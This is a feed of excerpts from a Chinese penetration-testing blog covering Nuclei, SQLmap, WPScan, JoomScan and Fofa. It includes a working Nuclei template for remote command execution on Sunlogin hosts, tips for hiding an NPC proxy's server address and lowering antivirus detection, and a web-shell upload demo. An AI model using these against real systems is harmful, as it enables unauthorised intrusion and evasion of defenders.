玉明-风起于青萍之末 - 工具
type: channel
link: https://xdym11235.com/tag/tools/
items: How to use nuclei to rce with any command
items: 改造NPC
items: Nuclei新版README翻译及用法
items: How to use Web Search Engine
items: Fofa命令行查询
items: JoomScan用法
items: WPScan用法
items: Nuclei渗透工具用法
items: 中国菜刀WEB版
items: SQLmap命令手册

How to use nuclei to rce with any command
type: item
date: 2023-11-26T14:49:00+08:00
description: How to use nuclei to rce with any commandA few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.some Flags-dresp flag can show all received responses for all templates.-V flag can customize vars in key=value format.nuclei templatethere is a flag(variables) which can be used to customize vars in nuclei template. For example:id: sunlogin_rce info: name: 向日葵RCE author: Xc1Ym severity: critical description: 通过该链接可以执行命令 metadata: max-request: 2 verified: true fofa-query1: body="Verification failure" fofa-query2: app="向日葵-远程控制" tags: rce variables: cmd: "ipconfig" http: - raw: - | GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: {{Hostname}} - | GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1 Host: {{Hostname}} Cookie: CID={{cid}} extractors: - type: json part: body internal: true name: cid json: - '.verify_string' matchers: - type: dsl dsl: - "status_code_1==200" - "contains(body_1, 'verify_string')" - "status_code_2==200" - "contains(body_2, 'Windows IP')" condition: and # digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12…

改造NPC
type: item
date: 2022-12-30T17:07:00+08:00
description: 改造NPC在内网渗透中，代理的使用是必不可少的，因为我比较喜欢用npc这个代理工具，所以本次代理改造就以npc为主。本地编译在微步上，npc被标记为恶意软件，而经过本地编译后，微步仅标记为可疑软件，所以本地编译是非常重要的隐藏npc配置在使用npc时，要么使用配置文件，要么使用参数控制，配置文件和参数都会让防守方非常方便的发现攻击方的攻击中转IP，所以隐藏npc的配置是非常必要的在NPC的Github仓库中，我们主要修改cmd/npc/npc.go文件即可。修改23行~42行中的参数即可。var ( serverAddr = flag.String("server", "", "Server addr (ip:port)") configPath = flag.String("config", "", "Configuration file path") verifyKey = flag.String("vkey", "", "Authentication key") logType = flag.String("log", "stdout", "Log output mode（stdout|file）") connType = flag.String("type", "tcp", "Connection type with the server（kcp|tcp）") proxyUrl = flag.String("proxy", "", "proxy socks5 url(eg:socks5://111:222@127.0.0.1:9007)") logLevel = flag.String("log_level", "7", "log level 0~7") registerTime = flag.Int("time", 2, "register time long /h") localPort = flag.Int("local_port", 2000, "p2p local port") password = flag.String("password", "", "p2p password flag") target = flag.String("target", "", "p2p target") localType = flag.String("local_type", "p2p", "p2p target") logPath = flag.String("log_path", "", "npc log path") debug = flag.Bool("debug", true, "npc debug") pprofAddr = flag.String("pprof", "", "PProf debug addr (ip:port)") stunAddr = flag.String("stun_addr", "stun.stunprotocol.org:3478", "stun server address (eg:stun.stunprotocol.org:3478)") ver = flag.Bool("version", false, "show current version") disconnectTime = flag.Int("disconnect_timeout", 60, "not receiving check packet times, until timeout will disconnect the client") )通常情况下，我会修改第一个参数和第三个参数，在serverAddr = flag.String("server", "", "Server addr (ip:port)")中的第二个引号中填入自己的IP和端口即可，如：serverAddr = flag.String("server", "8.8.8.8:8888", "Server addr (ip:port)")修改完成后直接使用go build npc.go编译即可修改静态特征这个不知道有没有用，我自己感觉是有用的，修改67行~72行，随便把内容修改就可以svcConfig := &service.Config{ Name: "Npc", DisplayName: "nps内网穿透客户端", Description: "一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发，支持内网http代理、内网socks5代理，同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理，集成多用户模式。", Option: options, }远程加载配置文件先说一个思路，…

Nuclei新版README翻译及用法
type: item
date: 2022-11-18T14:07:00+08:00
description: Nuclei新版README翻译及用法 Nuclei新增加了一些命令，对新的README进行了翻译，并订正了一些翻译错误 随着更新，Nuclei新增加了很多新功能，之前翻译的那篇README已经不能适应最新的版本，所以时隔一年之久，我打算重新翻译一篇Nuclei的README，目前翻译已经通过PR，Nuclei项目翻译地址 以下为翻译正文： 基于YAML语法模板的定制化快速漏洞扫描器 工作流程 • 安装 • 对于安全工程师 • 对于开发者 • 文档 • 致谢 • 常见问题 • 加入Discord English • 中文 • Korean Nuclei使用零误报的定制模板向目标发送请求，同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。我们的模板仓库包含超过300安全研究员和工程师提供的模板。工作流程 安装NucleiNuclei需要go1.18才能安装成功。执行下列命令安装最新版本的Nucleigo install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest更多的安装方式 请点击此处. Nuclei模板自从v2.5.2)起，Nuclei就内置了自动下载和更新模板的功能。Nuclei模板仓库随时更新社区中可用的模板列表。您仍然可以随时使用update-templates命令更新模板，您可以根据模板指南为您的个人工作流和需求编写模板。YAML的语法规范在这里。 用法nuclei -h这将显示Nuclei的帮助，以下是所有支持的命令。Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。 用法： nuclei [命令] 命令： 目标： -u, -target string[] 指定扫描的URL/主机 -l, -list string 指定需要扫描的URL/主机文件（一行一个） -resume string 断点续扫（将禁用集群） 模板： -nt, -new-templates 只扫描最新版本中添加的模板 -ntv, -new-templates-version string[] 运行在特定版本中添加的新模板 -as, -automatic-scan 在自动web扫描中使用wappalyzer技术检测的指纹 -t, -templates string[] 指定需要扫描的模板或者模板的路径（逗号分隔，文件） -tu, -template-url string[] 从URL加载模板（逗号分隔，文件） -w, -workflows string[] 指定扫描中的工作流或者工作流目录（逗号分隔，文件） -wu, -workflow-url string[] 从URL加载工作流（逗号分隔，文件） -validate 验证通过的模板 -nss, -no-strict-syntax 禁用模板的严格检查 -tl 列出所有可用的模板 过滤： -a, -author string[] 执行指定作者的模板（逗号分隔，文件） -tags string[] 执行有标记的模板子集（逗号分隔，文件） -etags, -exclude-tags string[] 执行标记为排除的模板（逗号分隔，文件） -itags, -include-tags string[] 执行默认或者配置排除的标记模板 -id, -template-id string[] 执行指定ID的模板（逗号分隔，文件） -eid, -exclude-id string[] 执行排除指定ID的模板（逗号分隔，文件） -it, -include-templates string[] 执行默认或配置中排除的模板 -et, -exclude-templates string[] 要排除的模板或者模板目录（逗号分隔，文件） -em, -exclude-matchers string[] 在结果中排除指定模板 -s, -severity value[] 根据严重程度运行模板，可候选的值有：info,low,medium,high,critical -es, -exclude-severity value[] 根据严重程度排除模板，可候选的值有：info,low,medium,high,critical -pt, -type value[] 根据协议运行模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois -ept, -exclude-type value[] 根据协议排除模板，可候选的值有：dns, fil…

How to use Web Search Engine
type: item
date: 2022-11-08T16:48:00+08:00
description: How to use Web Search EngineThis is my first time to write in English. If there are any mistakes, please tell me.I write this article after I read How-To-Ask-Questions-The-Smart-Way, maybe it can help you to impove your efficiency when you use web search engine.Web Search Engine?The web search engine I usually use are Google, Baidu, Bing. They are called Full Text Search Engine. They get keywords of information from web site. If you search for a question, web search engine will extract the keywords in your question, and search keywords in database of web search engine. So using keywords to search for answers is faster and more accurate.Use of effectivelyFirst, use keywords to search you question, not interrogative sentence. There are many unnecessary prepositions and adjectives in the question. Usually, I will search for nouns in the question, there's a space between nouns. These nouns I called keywords. Although we can get answers through interrogative sentence, but it get more accurate answers using keywords. Such as keyword keyword keyword.There are many duplicate answers in the content farm of web search engine. A lot of junk information is produced by Content farm, the web search engine can't handle this junk because there are many keywords in content farm. In china, CSDN is a content farm, I use keywords -csdn to search computer knowledge, use -csdn to exclude all answers about csdn, also you can use keywords -baidu to exclude baidu's answers. Using it skillfully can also improve the probability of finding the answer."" is easy to be ignored. Although we use keywords to search, but the keywords can't understood by web search engine, so using "keyword" keyword can help search engines determine the keywords we need. Keyword in the middle of "" will be matched exactlyIf you want to search keywords in title, body or website, you can use intitle:keyword, intext:keyword, insite:keyword.Of course, these skills can be combined. If you want to search an important keywo…

Fofa命令行查询
type: item
date: 2021-07-25T14:02:00+08:00
description: Fofa命令行查询最近做python开发上瘾，写了很多用处不大的脚本，然后突然觉醒了写一个大工程的想法，于是为了熟悉Git操作和一些python的用法，先尝试开发了Fofa的API脚本。之所以选择Fofa这个空间测绘，是因为作为红队一直需要使用各种网络空间测绘来做信息收集，但是Fofa只有网页版，而且Fofa的官方python包已经很早就不维护了，在最新的python3上无法运行，所有就萌生了写一个python脚本来请求Fofa的API获取相关的信息。开发环境使用了5个包：requests用来请求Fofa的官方APIjson用来读取Fofa返回的json数据argparse用来从命令行获取参数和发送的数据base64用来将发送的数据编码未base64prettytable用来将输出的json数据用格式化的表格显示出来使用方法Github上下载解压打开fofa_api.py，在第19和第20行输入Fofa的API所需要的鉴权邮箱和APIKEYpython fofa_api.py -h可以查看使用方法 python fofa_api.py --search 数据或者python fofa_api.py -S 数据可以查询所有可以查询的数据，并返回表格形式的格式化数据 Fofa为了保证API调用的稳定性，建议每次最多查询100条信息，但是都是可以调整的，使用python fofa_api.py --search 数据 --szie 数量即可选择一次最多查询的数量，该数量受限于Fofa会员等级，普通会员是100条，高级会员是10000条虽然可以查询大于100条的数据，但是Fofa每次最多只能返回100条数据，所以Fofa提供了页码功能，使用python fofa_api.py --search 数据 --szie 数量 --page 页码可以选择查询的页码，每一页100条数据python fofa_api.py --rule可以查询Fofa支持的语法

JoomScan用法
type: item
date: 2021-02-22T14:46:00+08:00
description: JoomScanJoomScan是一款开源的、针对JoomlaCMS的漏洞扫描器，开源地址：https://github.com/OWASP/joomscan。该扫描器已经内置到Kali发行版，所以该文以Kali内置的JoomScan为例，使用的JoomScan版本为0.0.7JoomScan功能自动化版本检测基于版本的漏洞检测Joomla组件检测(支持1209款热门组件)基于版本的Joomla组件漏洞检测(支持1030+漏洞利用)防火墙检测导出为文本或HTML格式查找常见的日志文件和备份文件常用参数常用参数如图： 关于JoomScan-h或--help查看帮助-v或--version查看版本--about查看作者检测--url或-u检测目标URL--enumerate-components或-ec检测安装的组件-update升级joomscan绕过WAF--cookie设置cookie--user-agent或-a使用自定义的UArandom-agent或r使用随机UA--timeout设置超时时间例子默认扫描joomscan -u www.example.com joomscan -url www.example.com组件检测joomscan --url www.example.com --enumerate-components joomscan -u www.example.com -ec设置cookiejoomscan -u www.example.com --cookie "123"设置UAjoomscan -u www.example.com --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"设置随机UAjoomscan -u www.example.com -r设置代理joomscan -u www.example.com --proxy https://127.0.0.1:443例子

WPScan用法
type: item
date: 2021-02-04T11:24:00+08:00
description: WPScanWhat is WPScanWPScan是一款针对WordPressCMS进行安全扫描的、使用Ruby开发的软件。通过WPScan可以扫描到WordPress网站中的用户名、安装的插件、主题，以及存在安全漏洞，甚至可以对一些WordPress网站进行用户名\密码暴力破解当然WPScan并不仅仅只有上面那些功能，它还有以下其他功能：检查备份好的、可访问的wp-config.php文件检查公开访问的数据库转储文件检查暴露的插件错误日志枚举媒体文件检查易受攻击的缩略图(timthumb)文件扫描WordPress自述文件检查是否启用了WP-Cron检查是否启用了用户注册扫描绝对路径检查上传目录列表Installation And UpdatingInstallationKali中自带，所以就不多说了，其他安装方法查看WPcan官方Wiki地址即可UpdatingKali中直接使用apt update && apt upgrade命令即可，更新WPScan的本地数据库可以使用wpscan --update枚举模式在枚举WordPress版本、插件、主题的时候，可以使用三种不同的扫描模式：被动主动混合混合模式会获得更多的结果，但是会造成服务器无法处理大量的请求，如果想减少服务器压力，可以使用被动模式。如果想更改默认设置，则需要使用--plugins-detection参数枚举选项如果要使用枚举功能，请使用-e参数，该参数有如下选项：vp枚举易受攻击的插件ap枚举所有插件p枚举热门插件vt枚举易受攻击的主题at枚举所有主题t枚举热门主题tt枚举缩略图cb枚举备份配置dbe导出数据库u枚举用户ID，例如u1-5m枚举媒体文件ID，例如m1-5如果未对-e参数提供选项，默认值为：-e vp,vt,tt,cb,dbe,u,m常见用法枚举所有用户wpscan --url http://example.com -e u如图： 对扫描到的用户进行暴力破解密码wpscan --url http://example.com -e u --passwords 字典地址(之前的参数--wordlist已弃用)如图： 枚举易受攻击的插件和主题wpscan --url http://example.com -e vp,vt如图： 其他参数这里只说几个我感兴趣的，觉得能在渗透中帮助我的scan允许的协议，支持http和https，默认为http-o输出到文件，后接文件地址-f使用提供的格式输出，支持cli-no-color、json、cli--user-agent或-ua使用指定的UA，后接指定的UA--random-user-agent或--rua使用随机的UA，该参数可能会绕过某些WAF-t最大线程数，默认为5--throttle两个URL检查的时间间隔，单位为毫秒，如果使用，则线程会默认为1--request-timeout设置请求超时时间，默认为60秒--connect-timeout设置连接超时时间，默认为30秒

Nuclei渗透工具用法
type: item
date: 2021-01-26T16:43:00+08:00
description: Nuclei 新版翻译请点击下列链接 Nuclei新版翻译 前几周在 Github 上发现了一个很好用的渗透测试平台，虽然说不如 MSF 强大，但是胜在轻量，安装和使用相比较 MSF 更加方便。苦于没有中文使用方法，于是自己翻译了一下，同时已通过该项目 PR以下为翻译正文：Nuclei 是一个基于模板的、可配置攻击目标的扫描快速工具，同时还提供了强大的可扩展性和易用性。基于模板的 nuclei 被用来发送请求给目标，有着实现零误报的优点，并且可以对已知的路径进行有效的扫描。nuclei 的主要用于在初期的探测阶段快速地对已知的且易于检测的漏洞或者 CVE 进行扫描。如果存在 WAF 的话，nuclei 使用retryablehttp-go库来处理各种错误，并且重新尝试攻击，这也是我们自定义功能的核心模块之一。我们也维护一个具有各个类型的模板的开源库，我们希望你也能贡献一些模板，贡献的这些模板最好是有效的，并且能允许每个人基于你的模板重新构建。查看nuclei.projectdiscovery.io这个网站去学习制作模板的入门知识。目录目录功能安装Nuclei模板用法运行Nuclei排除模板致谢功能 有着易于开发的、简单的、模块化的代码库使用了基于模板的引擎，运行速度极快，可以修改所以配置可以对特殊情况处理、重试、绕过等，可以绕过 WAF智能匹配，零误报安装二进制文件安装二进制文件安装很简单，你可以从Releases页面下载已经构建好的二进制文件压缩包，使用解压工具提取下载的压缩包，并将解压的文件夹移动到 $PATH 目录，就可以直接使用了。Download latest binary from https://github.com/projectdiscovery/nuclei/releases ▶ tar -xzvf nuclei-linux-amd64.tar.gz ▶ mv nuclei /usr/local/bin/ ▶ nuclei -version源码安装nuclei 需要go1.14+才能成功安装，运行以下命令获取 repo▶ GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nucleiGitHub 安装▶ git clone https://github.com/projectdiscovery/nuclei.git; cd nuclei/v2/cmd/nuclei/; go build; mv nuclei /usr/local/bin/; nuclei -versionNuclei 模板你可以使用update-templates来下载和更新 nuclei 模板，该命令会从 unclei 的模板库中下载最新版本，这个由社区来维护的库是可以随时使用的。▶ nuclei -update-templates此外您可以根据自己的工作情况或者需求编写模板，请参阅nuclei模板向导去编写自定义模板用法nuclei -h这条命令会显示帮助，以下是 nuclei 支持的所有命令命令描述例子bulk-size每个模板最大并行的主机数(默认25)nuclei -bulk-size 25burp-collaborator-biid使用burp-collaborator插件nuclei -burp-collaborator-biid XXXXc并行的最大模板数量(默认10)nuclei -c 10l对URL列表进行测试nuclei -l urls.txttarget对目标进行测试nuclei -target hxxps://example.comt要检测的模板种类nuclei -t git-core.yaml -t cves/no-color输出不显示颜色nuclei -no-colorno-meta不显示匹配的元数据nuclei -no-metajson输出为json格式nuclei -jsoninclude-rrjson输出格式中包含请求和响应数据nuclei -json -include-rro输出为文件nuclei -o output.txtproject避免发送相同的请求nuclei -projectstats使用进度条nuclei -statssilent只输出测试成功的结果nuclei -silentretries失败后的重试次数nuclei -retries 1timeout超时时间(默认为5秒)nuclei -timeout 5trace-log输出日志到log文件nuclei -trace-log logsrate-limit每秒最大请求数(默认150)nuclei -rate-limit 150severity根据严重性选择…

中国菜刀WEB版
type: item
date: 2021-01-11T17:25:00+08:00
description: 中国菜刀WEB版前几天在GitHub看到了一个中国菜刀WEB版，觉得挺有趣的(๑•̀ㅂ•́)و✧然后自己尝试搭建了一下，但是根据我在社交媒体上的观察，这个WEB版存在XSS漏洞，所以没办法搭在公网，只能在本地环境试一试了安装从该Github地址clone源码到本地git clone https://github.com/MoLeft/WebKnife.git使用宝塔一键建站，将源码直接上传即可 使用打开dvwa，使用上传模块，上传php文件，发现漏洞存在 上传一句话木马 在连接管理中输入文件上传的网址和密码 点击文件管理，选择刚才输入的连接，即可进行文件管理 点击虚拟终端，选择连接，即可进行命令执行 在终端中执行whoami命令

SQLmap命令手册
type: item
date: 2020-09-30T15:35:00+08:00
description: SQLmap命令手册注意，该手册适用于1.41版本以下的SQLmap本文所有内容均从SQLmap官方wiki翻译完成，并对各个参数进行了测试，保证可以正确使用What is SQLmap?What can do？判断可注入的参数判断使用哪种技术注入识别数据库根据选择读取数据库中的数据5种注入模式基于bool的盲注基于时间的盲注基于报错的注入联合查询注入堆叠查询注入支持的数据库MySQLOraclePostgreSQLMSSQLMS AccessIBM DB2SQLliteFirebirdSybaseSAP MaxDBHSQLDBInformix基础命令python sqlmap.py -参数1 目标 -参数2帮助参数1. -h或--help显示基本帮助信息并推出用法：python sqlmap.py -h2. -hh显示高级帮助信息并退出用法：python sqlmap.py -hh3. --version显示程序版本信息并退出python sqlmap.py --version4. -v观察SQLmap如何进行注入以及读取数据的用法：python sqlmap.py -v 等级(默认为1)等级(共7级)0只显示python错误以及严重的信息1同时显示基本信息和警告信息2同时显示debug信息3同时显示注入的payload4同时显示HTTP请求5同时显示HTTP响应头6同时显示HTTP相应页面必须参数至少存在一个必须参数-u或--url指定URL用法：python sqlmap.py -u http://127.0.0.1/?id=1-d直接连接数据库用法：python sqlmap.py -d "mysql://user:password@ip:port/数据库名称"-l从Burp或者WebScarab代理日志文件中来解析目标用法：python sqlmap.py -l 日志文件-m从文件中批量加载URL，一行一个URL用法：python sqlmap.py -m 文件-r从文本文件中获取HTTP请求，常用于POST提交，以及设置UA、Cookie等用法：python sqlmap.py -r 文件文本文件例子：POST /abc Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) id=1-g测试注入Google搜索结果中的GET参数(前100个结果)用法：python sqlmap.py -g "inurl:\".php?id=1\""-c从配置ini文件中加载选项用法：python sqlmap.py -c ini配置文件具体配置可以参照SQLmap文件夹中的SQLmap.conf请求参数这些选项可用于指定如何连接到目标URL-A或者--user-agent指定URL的UA当-level设置为3或者更高时，SQLmap会检测UA是否存在注入用法：python sqlmap.py 必须参数 -A UA-H或者--headers指定额外的HTTP头用法：python sqlmap.py 必须参数 -H HEADER--method强制使用给定的HTTP方法用法：python sqlmap.py 必须参数 --method=方法一般HTTP方法有：GET 请求指定的页面信息，并返回实体主体HEAD 类似于GET请求，只不过返回的相应中没有具体的内容，用于获取报头POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。PUT 从客户端向服务器传送的数据取代指定的文档的内容DELETE 请求服务器删除指定的页面CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。OPTIONS 允许客户端查看服务器的性能TRACE 回显服务器收到的请求，主要用于测试或者诊断PATCH 是对PUT方法的补充，用来对已知资源进行局部更细。--data通过POST发送数据参数用法：python sqlmap.py 必须参数 --data=数据参数--param-del指定发送数据中拆分参数值的字符用法：python sqlmap.py 必须参数 --param-del=字符例：python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"--cookie指定cookie当-level设置为2或者更高时，SQLmap会检测cookie是否存在注入用法：python sqlmap.py 必须参数 -…